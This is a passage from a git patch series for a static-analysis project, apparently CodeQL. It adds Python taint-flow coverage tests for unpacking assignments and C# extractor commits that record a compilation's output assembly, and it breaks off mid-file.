Flow found | +| test.py:606:10:606:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:606:10:606:11 | ControlFlowNode for a1 | Flow found | +| test.py:608:10:608:14 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:608:10:608:14 | ControlFlowNode for Subscript | Flow found | +| test.py:608:10:608:14 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:608:10:608:14 | ControlFlowNode for Subscript | Flow found | +| test.py:609:12:609:16 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:609:12:609:16 | ControlFlowNode for Subscript | Flow found | +| test.py:609:12:609:16 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:609:12:609:16 | ControlFlowNode for Subscript | Flow found | +| test.py:611:12:611:15 | ControlFlowNode for Subscript | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:611:12:611:15 | ControlFlowNode for Subscript | Flow found | +| test.py:611:12:611:15 | ControlFlowNode for Subscript | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:611:12:611:15 | ControlFlowNode for Subscript | Flow found | +| test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | +| test.py:615:10:615:11 | ControlFlowNode for a1 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:615:10:615:11 | ControlFlowNode for a1 | Flow found | +| test.py:616:12:616:13 | ControlFlowNode for a2 | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:616:12:616:13 | ControlFlowNode for a2 | Flow found | +| test.py:616:12:616:13 | ControlFlowNode for a2 | test.py:584:12:584:17 | ControlFlowNode for SOURCE | test.py:616:12:616:13 | ControlFlowNode for a2 | Flow found | +| test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | Flow found | +| test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | test.py:692:16:692:21 | ControlFlowNode for SOURCE | test.py:695:10:695:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 7cfa9a16f51..8308e47d447 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -546,6 +546,7 @@ def test_iterated_unpacking_assignment(): t = (SOURCE, SOURCE, NONSOURCE) a, *b, c = t SINK(a) + SINK_F(b) # FP SINK(b[0]) SINK_F(c) @@ -579,6 +580,46 @@ def test_unpacking_assignment_conversion(): SINK_F(c) +def test_iterated_unpacking_assignment_conversion(): + tt = ((SOURCE, NONSOURCE, SOURCE),NONSOURCE) + + # list + [[a1, *a2], *b] = tt + SINK(a1) + SINK_F(a2) # FP, The list itself is not tainted + SINK(a2[0]) + SINK_F(a1[0]) # FP here due to list abstraction + SINK_F(b) # The list itself is not tainted + SINK_F(b[0]) # FP here due to list abstraction + + # tuple + ((a1, *a2), *b) = tt + SINK(a1) + SINK_F(a2) # The list itself is not tainted + SINK(a2[0]) # Flow not found + SINK_F(a1[0]) + SINK_F(b) # The list itself is not tainted + SINK_F(b[0]) + + # mixed + [(a1, *a2), *b] = tt + SINK(a1) + SINK_F(a2) # The list itself is not tainted + SINK(a2[0]) # Flow not found + SINK_F(a1[0]) # FP + SINK_F(b) # The list itself is not tainted + SINK_F(b[0]) # FP here due to list abstraction + + # mixed differently + ([a1, *a2], *b) = tt + SINK(a1) + SINK_F(a2) # The list itself is not tainted + SINK(a2[0]) # Flow not found + SINK_F(a1[0]) # Expect FP here due to list abstraction + SINK_F(b) # The list itself is not tainted + SINK_F(b[0]) + + def test_deep_callgraph(): # port of python/ql/test/library-tests/taint/general/deep.py From 7418c05594548a3107b1e9d98d17d0980bc83760 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 8 Jan 2021 12:15:49 +0100 Subject: [PATCH 0543/1241] Always populate assemblies --- csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs | 4 ++-- csharp/extractor/Semmle.Extraction/AssemblyScope.cs | 5 +---- csharp/extractor/Semmle.Extraction/Context.cs | 2 -- csharp/extractor/Semmle.Extraction/Entities/Assembly.cs | 3 +-- csharp/extractor/Semmle.Extraction/IExtractionScope.cs | 2 -- csharp/extractor/Semmle.Extraction/SourceScope.cs | 2 -- 6 files changed, 4 insertions(+), 14 deletions(-) diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs b/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs index b5a4c79d8f2..1222403515f 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Analyser.cs @@ -232,7 +232,7 @@ namespace Semmle.Extraction.CSharp var projectLayout = layout.LookupProjectOrDefault(transformedAssemblyPath); var trapWriter = projectLayout.CreateTrapWriter(Logger, transformedAssemblyPath, options.TrapCompression, discardDuplicates: false); compilationTrapFile = trapWriter; // Dispose later - var cx = extractor.CreateContext(compilation.Clone(), trapWriter, new AssemblyScope(assembly, assemblyPath, true), AddAssemblyTrapPrefix); + var cx = extractor.CreateContext(compilation.Clone(), trapWriter, new AssemblyScope(assembly, assemblyPath), AddAssemblyTrapPrefix); compilationEntity = new Entities.Compilation(cx, cwd, args); } @@ -287,7 +287,7 @@ namespace Semmle.Extraction.CSharp if (c.GetAssemblyOrModuleSymbol(r) is IAssemblySymbol assembly) { - var cx = extractor.CreateContext(c, trapWriter, new AssemblyScope(assembly, assemblyPath, false), AddAssemblyTrapPrefix); + var cx = extractor.CreateContext(c, trapWriter, new AssemblyScope(assembly, assemblyPath), AddAssemblyTrapPrefix); foreach (var module in assembly.Modules) { diff --git a/csharp/extractor/Semmle.Extraction/AssemblyScope.cs b/csharp/extractor/Semmle.Extraction/AssemblyScope.cs index b2c947dea83..84c117d17c4 100644 --- a/csharp/extractor/Semmle.Extraction/AssemblyScope.cs +++ b/csharp/extractor/Semmle.Extraction/AssemblyScope.cs @@ -10,15 +10,12 @@ namespace Semmle.Extraction private readonly IAssemblySymbol assembly; private readonly string filepath; - public AssemblyScope(IAssemblySymbol symbol, string path, bool isOutput) + public AssemblyScope(IAssemblySymbol symbol, string path) { assembly = symbol; filepath = path; - IsGlobalScope = isOutput; } - public bool IsGlobalScope { get; } - public bool InFileScope(string path) => path == filepath; public bool InScope(ISymbol symbol) => diff --git a/csharp/extractor/Semmle.Extraction/Context.cs b/csharp/extractor/Semmle.Extraction/Context.cs index af254c817a3..fc50d01f113 100644 --- a/csharp/extractor/Semmle.Extraction/Context.cs +++ b/csharp/extractor/Semmle.Extraction/Context.cs @@ -244,8 +244,6 @@ namespace Semmle.Extraction public bool FromSource => scope.FromSource; - public bool IsGlobalContext => scope.IsGlobalScope; - public ICommentGenerator CommentGenerator { get; } = new CommentProcessor(); private IExtractionScope scope { get; } diff --git a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs index 35055541371..711441f7009 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs @@ -35,8 +35,7 @@ namespace Semmle.Extraction.Entities } } - public override bool NeedsPopulation => - !SymbolEqualityComparer.Default.Equals(assembly, Context.Compilation.Assembly) || !Context.IsGlobalContext; + public override bool NeedsPopulation => true; public override int GetHashCode() => symbol == null ? 91187354 : symbol.GetHashCode(); diff --git a/csharp/extractor/Semmle.Extraction/IExtractionScope.cs b/csharp/extractor/Semmle.Extraction/IExtractionScope.cs index 43a58a88e51..78b4a29d0d1 100644 --- a/csharp/extractor/Semmle.Extraction/IExtractionScope.cs +++ b/csharp/extractor/Semmle.Extraction/IExtractionScope.cs @@ -23,8 +23,6 @@ namespace Semmle.Extraction /// <param name="path">The path to populate.</param> bool InFileScope(string path); - bool IsGlobalScope { get; } - bool FromSource { get; } } } diff --git a/csharp/extractor/Semmle.Extraction/SourceScope.cs b/csharp/extractor/Semmle.Extraction/SourceScope.cs index 107db83a146..48a89decba9 100644 --- a/csharp/extractor/Semmle.Extraction/SourceScope.cs +++ b/csharp/extractor/Semmle.Extraction/SourceScope.cs @@ -16,8 +16,6 @@ namespace Semmle.Extraction SourceTree = tree; } - public bool IsGlobalScope => false; - public bool InFileScope(string path) => path == SourceTree.FilePath; public bool InScope(ISymbol symbol) => symbol.Locations.Any(loc => loc.SourceTree == SourceTree); From 5cfa900828996f21120af56f1772da4342847c57 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 8 Jan 2021 09:35:57 +0100 Subject: [PATCH 0544/1241] C#: Add output assembly to compilation --- .../Semmle.Extraction.CSharp/Entities/Compilation.cs | 4 ++-- csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs | 4 ++-- csharp/extractor/Semmle.Extraction/Entities/Assembly.cs | 3 ++- csharp/ql/src/semmle/code/csharp/Location.qll | 4 ++++ csharp/ql/src/semmle/code/csharp/commons/Compilation.qll | 5 ++++- csharp/ql/src/semmlecode.csharp.dbscheme | 6 ++++-- .../test/library-tests/assemblies/compilation.expected | 9 +++++++++ csharp/ql/test/library-tests/assemblies/compilation.ql | 8 ++++++++ .../library-tests/compilations/Compilations.expected | 2 ++ .../ql/test/library-tests/compilations/Compilations.ql | 2 ++ 10 files changed, 39 insertions(+), 8 deletions(-) create mode 100644 csharp/ql/test/library-tests/assemblies/compilation.expected create mode 100644 csharp/ql/test/library-tests/assemblies/compilation.ql diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs index 67a4325ce35..53680852901 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs @@ -21,9 +21,9 @@ namespace Semmle.Extraction.CSharp.Entities protected override void Populate(TextWriter trapFile) { - Extraction.Entities.Assembly.CreateOutputAssembly(cx); + var assembly = Extraction.Entities.Assembly.CreateOutputAssembly(cx); - trapFile.compilations(this, FileUtils.ConvertToUnix(cwd)); + trapFile.compilations(this, FileUtils.ConvertToUnix(cwd), assembly); // Arguments var index = 0; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 254aa367570..e2cfe16df10 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -106,9 +106,9 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("compilation_time", compilation, num, index, metric); } - internal static void compilations(this TextWriter trapFile, Compilation compilation, string cwd) + internal static void compilations(this TextWriter trapFile, Compilation compilation, string cwd, Assembly assembly) { - trapFile.WriteTuple("compilations", compilation, cwd); + trapFile.WriteTuple("compilations", compilation, cwd, assembly); } internal static void compiler_generated(this TextWriter trapFile, IEntity entity) diff --git a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs index 711441f7009..a6210356199 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs @@ -58,7 +58,8 @@ namespace Semmle.Extraction.Entities } private static readonly object outputAssemblyCacheKey = new object(); - public static Location CreateOutputAssembly(Context cx) + + public static Assembly CreateOutputAssembly(Context cx) { if (cx.Extractor.OutputPath == null) throw new InternalError("Attempting to create the output assembly in standalone extraction mode"); diff --git a/csharp/ql/src/semmle/code/csharp/Location.qll b/csharp/ql/src/semmle/code/csharp/Location.qll index 99df294ae63..55233355022 100644 --- a/csharp/ql/src/semmle/code/csharp/Location.qll +++ b/csharp/ql/src/semmle/code/csharp/Location.qll @@ -14,6 +14,7 @@ import File private import Attribute +private import semmle.code.csharp.commons.Compilation /** * A location of a program element. @@ -171,6 +172,9 @@ class Assembly extends Location, Attributable, @assembly { /** Gets the version of this assembly. */ Version getVersion() { assemblies(this, _, _, _, result) } + /** Gets the compilation producing this assembly if any. */ + Compilation getCompilation() { compilations(result, _, this) } + override File getFile() { assemblies(this, result, _, _, _) } override string toString() { result = this.getFullName() } diff --git a/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll b/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll index c1eb3362c47..7f2b5ffeda6 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll @@ -7,7 +7,10 @@ class Compilation extends @compilation { string toString() { result = "compilation" } /** Gets the directory in which this compilation was run, as a string. */ - string getDirectoryString() { compilations(this, result) } + string getDirectoryString() { compilations(this, result, _) } + + /** Gets the output assembly. */ + Assembly getOutputAssembly() { compilations(this, _, result) } /** Gets the folder in which this compilation was run. */ Folder getFolder() { result.getAbsolutePath() = getDirectoryString() } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 26249c105a8..2259449c72b 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -7,11 +7,13 @@ * csc f1.cs f2.cs f3.cs * * The `id` simply identifies the invocation, while `cwd` is the working - * directory from which the compiler was invoked. + * directory from which the compiler was invoked. The `assembly` identifies + * the output assembly of the compilation. */ compilations( unique int id : @compilation, - string cwd : string ref + string cwd : string ref, + int assembly: @assembly ref ); /** diff --git a/csharp/ql/test/library-tests/assemblies/compilation.expected b/csharp/ql/test/library-tests/assemblies/compilation.expected new file mode 100644 index 00000000000..5075507382c --- /dev/null +++ b/csharp/ql/test/library-tests/assemblies/compilation.expected @@ -0,0 +1,9 @@ +| Assembly1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | no compilation | +| Locations, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | has compilation | +| System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | +| System.Console, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | +| System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | +| System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e | no compilation | +| System.Runtime, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | +| System.Runtime.Extensions, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | +| mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | diff --git a/csharp/ql/test/library-tests/assemblies/compilation.ql b/csharp/ql/test/library-tests/assemblies/compilation.ql new file mode 100644 index 00000000000..6783c6eebca --- /dev/null +++ b/csharp/ql/test/library-tests/assemblies/compilation.ql @@ -0,0 +1,8 @@ +import csharp + +private string hasCompilation(Assembly a) { + if exists(a.getCompilation()) then result = "has compilation" else result = "no compilation" +} + +from Assembly a +select a.getFullName(), hasCompilation(a) diff --git a/csharp/ql/test/library-tests/compilations/Compilations.expected b/csharp/ql/test/library-tests/compilations/Compilations.expected index 92905087cc3..de6c72255ed 100644 --- a/csharp/ql/test/library-tests/compilations/Compilations.expected +++ b/csharp/ql/test/library-tests/compilations/Compilations.expected @@ -35,3 +35,5 @@ references | compilation | mscorlib.dll | timings | compilation | +assembly +| compilation | Program.dll:0:0:0:0 | Program, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null | diff --git a/csharp/ql/test/library-tests/compilations/Compilations.ql b/csharp/ql/test/library-tests/compilations/Compilations.ql index e54b36c4e10..c523dea5780 100644 --- a/csharp/ql/test/library-tests/compilations/Compilations.ql +++ b/csharp/ql/test/library-tests/compilations/Compilations.ql @@ -39,3 +39,5 @@ query predicate timings(Compilation c) { c.getCpuSeconds() > 0 and c.getElapsedSeconds() > 0 } + +query predicate assembly(Compilation c, Assembly a) { c.getOutputAssembly() = a } From 983c4d06d407cb836d8710a1b3fb958b85c0e880 Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Wed, 13 Jan 2021 09:12:31 +0100 Subject: [PATCH 0545/1241] Revert "C#: Add output assembly to compilation" This reverts commit 5cfa900828996f21120af56f1772da4342847c57. --- .../Semmle.Extraction.CSharp/Entities/Compilation.cs | 4 ++-- csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs | 4 ++-- csharp/extractor/Semmle.Extraction/Entities/Assembly.cs | 3 +-- csharp/ql/src/semmle/code/csharp/Location.qll | 4 ---- csharp/ql/src/semmle/code/csharp/commons/Compilation.qll | 5 +---- csharp/ql/src/semmlecode.csharp.dbscheme | 6 ++---- .../test/library-tests/assemblies/compilation.expected | 9 --------- csharp/ql/test/library-tests/assemblies/compilation.ql | 8 -------- .../library-tests/compilations/Compilations.expected | 2 -- .../ql/test/library-tests/compilations/Compilations.ql | 2 -- 10 files changed, 8 insertions(+), 39 deletions(-) delete mode 100644 csharp/ql/test/library-tests/assemblies/compilation.expected delete mode 100644 csharp/ql/test/library-tests/assemblies/compilation.ql diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs index 53680852901..67a4325ce35 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs @@ -21,9 +21,9 @@ namespace Semmle.Extraction.CSharp.Entities protected override void Populate(TextWriter trapFile) { - var assembly = Extraction.Entities.Assembly.CreateOutputAssembly(cx); + Extraction.Entities.Assembly.CreateOutputAssembly(cx); - trapFile.compilations(this, FileUtils.ConvertToUnix(cwd), assembly); + trapFile.compilations(this, FileUtils.ConvertToUnix(cwd)); // Arguments var index = 0; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index e2cfe16df10..254aa367570 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -106,9 +106,9 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("compilation_time", compilation, num, index, metric); } - internal static void compilations(this TextWriter trapFile, Compilation compilation, string cwd, Assembly assembly) + internal static void compilations(this TextWriter trapFile, Compilation compilation, string cwd) { - trapFile.WriteTuple("compilations", compilation, cwd, assembly); + trapFile.WriteTuple("compilations", compilation, cwd); } internal static void compiler_generated(this TextWriter trapFile, IEntity entity) diff --git a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs index a6210356199..711441f7009 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs @@ -58,8 +58,7 @@ namespace Semmle.Extraction.Entities } private static readonly object outputAssemblyCacheKey = new object(); - - public static Assembly CreateOutputAssembly(Context cx) + public static Location CreateOutputAssembly(Context cx) { if (cx.Extractor.OutputPath == null) throw new InternalError("Attempting to create the output assembly in standalone extraction mode"); diff --git a/csharp/ql/src/semmle/code/csharp/Location.qll b/csharp/ql/src/semmle/code/csharp/Location.qll index 55233355022..99df294ae63 100644 --- a/csharp/ql/src/semmle/code/csharp/Location.qll +++ b/csharp/ql/src/semmle/code/csharp/Location.qll @@ -14,7 +14,6 @@ import File private import Attribute -private import semmle.code.csharp.commons.Compilation /** * A location of a program element. @@ -172,9 +171,6 @@ class Assembly extends Location, Attributable, @assembly { /** Gets the version of this assembly. */ Version getVersion() { assemblies(this, _, _, _, result) } - /** Gets the compilation producing this assembly if any. */ - Compilation getCompilation() { compilations(result, _, this) } - override File getFile() { assemblies(this, result, _, _, _) } override string toString() { result = this.getFullName() } diff --git a/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll b/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll index 7f2b5ffeda6..c1eb3362c47 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll @@ -7,10 +7,7 @@ class Compilation extends @compilation { string toString() { result = "compilation" } /** Gets the directory in which this compilation was run, as a string. */ - string getDirectoryString() { compilations(this, result, _) } - - /** Gets the output assembly. */ - Assembly getOutputAssembly() { compilations(this, _, result) } + string getDirectoryString() { compilations(this, result) } /** Gets the folder in which this compilation was run. */ Folder getFolder() { result.getAbsolutePath() = getDirectoryString() } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 2259449c72b..26249c105a8 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -7,13 +7,11 @@ * csc f1.cs f2.cs f3.cs * * The `id` simply identifies the invocation, while `cwd` is the working - * directory from which the compiler was invoked. The `assembly` identifies - * the output assembly of the compilation. + * directory from which the compiler was invoked. */ compilations( unique int id : @compilation, - string cwd : string ref, - int assembly: @assembly ref + string cwd : string ref ); /** diff --git a/csharp/ql/test/library-tests/assemblies/compilation.expected b/csharp/ql/test/library-tests/assemblies/compilation.expected deleted file mode 100644 index 5075507382c..00000000000 --- a/csharp/ql/test/library-tests/assemblies/compilation.expected +++ /dev/null @@ -1,9 +0,0 @@ -| Assembly1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | no compilation | -| Locations, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | has compilation | -| System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | -| System.Console, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | -| System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | -| System.Private.CoreLib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=7cec85d7bea7798e | no compilation | -| System.Runtime, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | -| System.Runtime.Extensions, Version=4.2.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | -| mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | diff --git a/csharp/ql/test/library-tests/assemblies/compilation.ql b/csharp/ql/test/library-tests/assemblies/compilation.ql deleted file mode 100644 index 6783c6eebca..00000000000 --- a/csharp/ql/test/library-tests/assemblies/compilation.ql +++ /dev/null @@ -1,8 +0,0 @@ -import csharp - -private string hasCompilation(Assembly a) { - if exists(a.getCompilation()) then result = "has compilation" else result = "no compilation" -} - -from Assembly a -select a.getFullName(), hasCompilation(a) diff --git a/csharp/ql/test/library-tests/compilations/Compilations.expected b/csharp/ql/test/library-tests/compilations/Compilations.expected index de6c72255ed..92905087cc3 100644 --- a/csharp/ql/test/library-tests/compilations/Compilations.expected +++ b/csharp/ql/test/library-tests/compilations/Compilations.expected @@ -35,5 +35,3 @@ references | compilation | mscorlib.dll | timings | compilation | -assembly -| compilation | Program.dll:0:0:0:0 | Program, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null | diff --git a/csharp/ql/test/library-tests/compilations/Compilations.ql b/csharp/ql/test/library-tests/compilations/Compilations.ql index c523dea5780..e54b36c4e10 100644 --- a/csharp/ql/test/library-tests/compilations/Compilations.ql +++ b/csharp/ql/test/library-tests/compilations/Compilations.ql @@ -39,5 +39,3 @@ query predicate timings(Compilation c) { c.getCpuSeconds() > 0 and c.getElapsedSeconds() > 0 } - -query predicate assembly(Compilation c, Assembly a) { c.getOutputAssembly() = a } From fb1312667605fdca836ea11c90ea97226be972cc Mon Sep 17 00:00:00 2001 From: Tamas Vajk <tamasvajk@github.com> Date: Fri, 8 Jan 2021 09:35:57 +0100 Subject: [PATCH 0546/1241] C#: Store output assembly in compilation_assembly relation --- .../Semmle.Extraction.CSharp/Entities/Compilation.cs | 3 ++- csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs | 5 +++++ csharp/extractor/Semmle.Extraction/Entities/Assembly.cs | 3 ++- csharp/ql/src/semmle/code/csharp/Location.qll | 4 ++++ csharp/ql/src/semmle/code/csharp/commons/Compilation.qll | 3 +++ csharp/ql/src/semmlecode.csharp.dbscheme | 5 +++++ .../test/library-tests/assemblies/compilation.expected | 9 +++++++++ csharp/ql/test/library-tests/assemblies/compilation.ql | 8 ++++++++ .../library-tests/compilations/Compilations.expected | 2 ++ .../ql/test/library-tests/compilations/Compilations.ql | 2 ++ 10 files changed, 42 insertions(+), 2 deletions(-) create mode 100644 csharp/ql/test/library-tests/assemblies/compilation.expected create mode 100644 csharp/ql/test/library-tests/assemblies/compilation.ql diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs index 67a4325ce35..d4f0da99a28 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Entities/Compilation.cs @@ -21,9 +21,10 @@ namespace Semmle.Extraction.CSharp.Entities protected override void Populate(TextWriter trapFile) { - Extraction.Entities.Assembly.CreateOutputAssembly(cx); + var assembly = Extraction.Entities.Assembly.CreateOutputAssembly(cx); trapFile.compilations(this, FileUtils.ConvertToUnix(cwd)); + trapFile.compilation_assembly(this, assembly); // Arguments var index = 0; diff --git a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs index 254aa367570..53fe9a00ca4 100644 --- a/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs +++ b/csharp/extractor/Semmle.Extraction.CSharp/Tuples.cs @@ -111,6 +111,11 @@ namespace Semmle.Extraction.CSharp trapFile.WriteTuple("compilations", compilation, cwd); } + internal static void compilation_assembly(this TextWriter trapFile, Compilation compilation, Assembly assembly) + { + trapFile.WriteTuple("compilation_assembly", compilation, assembly); + } + internal static void compiler_generated(this TextWriter trapFile, IEntity entity) { trapFile.WriteTuple("compiler_generated", entity); diff --git a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs index 711441f7009..a6210356199 100644 --- a/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs +++ b/csharp/extractor/Semmle.Extraction/Entities/Assembly.cs @@ -58,7 +58,8 @@ namespace Semmle.Extraction.Entities } private static readonly object outputAssemblyCacheKey = new object(); - public static Location CreateOutputAssembly(Context cx) + + public static Assembly CreateOutputAssembly(Context cx) { if (cx.Extractor.OutputPath == null) throw new InternalError("Attempting to create the output assembly in standalone extraction mode"); diff --git a/csharp/ql/src/semmle/code/csharp/Location.qll b/csharp/ql/src/semmle/code/csharp/Location.qll index 99df294ae63..77a4dc4fe4c 100644 --- a/csharp/ql/src/semmle/code/csharp/Location.qll +++ b/csharp/ql/src/semmle/code/csharp/Location.qll @@ -14,6 +14,7 @@ import File private import Attribute +private import semmle.code.csharp.commons.Compilation /** * A location of a program element. @@ -171,6 +172,9 @@ class Assembly extends Location, Attributable, @assembly { /** Gets the version of this assembly. */ Version getVersion() { assemblies(this, _, _, _, result) } + /** Gets the compilation producing this assembly if any. */ + Compilation getCompilation() { compilation_assembly(result, this) } + override File getFile() { assemblies(this, result, _, _, _) } override string toString() { result = this.getFullName() } diff --git a/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll b/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll index c1eb3362c47..6af0af0e8a9 100644 --- a/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll +++ b/csharp/ql/src/semmle/code/csharp/commons/Compilation.qll @@ -9,6 +9,9 @@ class Compilation extends @compilation { /** Gets the directory in which this compilation was run, as a string. */ string getDirectoryString() { compilations(this, result) } + /** Gets the output assembly. */ + Assembly getOutputAssembly() { compilation_assembly(this, result) } + /** Gets the folder in which this compilation was run. */ Folder getFolder() { result.getAbsolutePath() = getDirectoryString() } diff --git a/csharp/ql/src/semmlecode.csharp.dbscheme b/csharp/ql/src/semmlecode.csharp.dbscheme index 26249c105a8..e6442d16b7e 100644 --- a/csharp/ql/src/semmlecode.csharp.dbscheme +++ b/csharp/ql/src/semmlecode.csharp.dbscheme @@ -151,6 +151,11 @@ compilation_finished( float elapsed_seconds : float ref ); +compilation_assembly( + unique int id : @compilation ref, + int assembly: @assembly ref +) + /* * External artifacts */ diff --git a/csharp/ql/test/library-tests/assemblies/compilation.expected b/csharp/ql/test/library-tests/assemblies/compilation.expected new file mode 100644 index 00000000000..5075507382c --- /dev/null +++ b/csharp/ql/test/library-tests/assemblies/compilation.expected @@ -0,0 +1,9 @@ +| Assembly1, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | no compilation | +| Locations, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null | has compilation | +| System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | +| System.Console, Version=4.1.2.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a | no compilation | +| System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 | no compilation | +| System.Private.CoreLib, 